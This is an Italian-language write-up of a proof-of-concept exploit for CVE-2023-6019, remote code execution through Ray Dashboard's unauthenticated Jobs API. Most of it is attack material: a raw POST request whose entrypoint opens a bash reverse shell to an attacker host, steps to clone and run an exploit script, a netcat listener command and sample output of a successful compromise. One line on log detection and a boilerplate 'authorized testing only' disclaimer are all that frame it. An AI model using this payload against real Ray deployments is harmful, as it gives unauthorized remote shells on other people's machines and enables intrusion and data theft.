
Exploit PoC per CVE-2023-6019 - Esecuzione di codice remota tramite l'API Jobs non autenticata di Ray Dashboard.
PoC per CVE-2023-6019 — Esecuzione di codice in remoto tramite l'API Jobs della Ray Dashboard non autenticata.
Creato da oguiii
Anyscale Ray è un framework open-source per carichi di lavoro distribuiti di ML/AI. Le versioni precedenti alla 2.6.4 espongono un'API di sottomissione di job tramite la Ray Dashboard (porta predefinita 8265) senza alcuna autenticazione, consentendo a un attaccante non autenticato di inviare job arbitrari e ottenere Esecuzione di codice in remoto sull'host.
L'endpoint /api/jobs/ accetta un payload JSON con un campo entrypoint che viene eseguito come comando shell dal processo worker di Ray - nessuna credenziale richiesta.
POST /api/jobs/ HTTP/1.1
Host: <target>:8265
Content-Type: application/json
{
"entrypoint": "bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'",
"runtime_env": {},
"job_id": null,
"metadata": {}
}
git clone https://github.com/joaquinrrr/CVE-2023-6019
cd CVE-2023-6019
pip install requests
python3 CVE-2023-6019.py -t <TARGET_IP> -p <PORT> -l <LHOST> -lp <LPORT>
# Start listener
nc -lvnp 4444
# Run exploit
python3 CVE-2023-6019.py -t 192.168.1.100 -p 8265 -l 192.168.1.10 -lp 4444
[*] Checking Ray version at 192.168.1.100:8265...
[*] Ray API version : 4
[*] Ray version : 2.6.3
[+] VULNERABLE! Ray 2.6.3 is affected by CVE-2023-6019
[*] Target : http://192.168.1.100:8265/api/jobs/
[*] Reverse shell : 192.168.1.10:4444
[*] Submitting job...
[+] Job submitted successfully!
[+] Job ID: raysubmit_Gztg89LZuTa8Jevc
[>] Make sure your listener is ready:
nc -lvnp 4444
Cerca richieste POST inattese verso /api/jobs/ sulla porta 8265 nei tuoi log HTTP o nel traffico di rete.
Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e scopi educativi.
L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
Ottieni sempre un'autorizzazione scritta adeguata prima di effettuare test.
| Flag | Descrizione | Predefinito |
|---|
-t | IP o hostname del target | obbligatorio |
-p | Porta della Ray Dashboard | 8265 |
-l | IP dell'attaccante (reverse shell) | obbligatorio |
-lp | Porta dell'attaccante (reverse shell) | obbligatorio |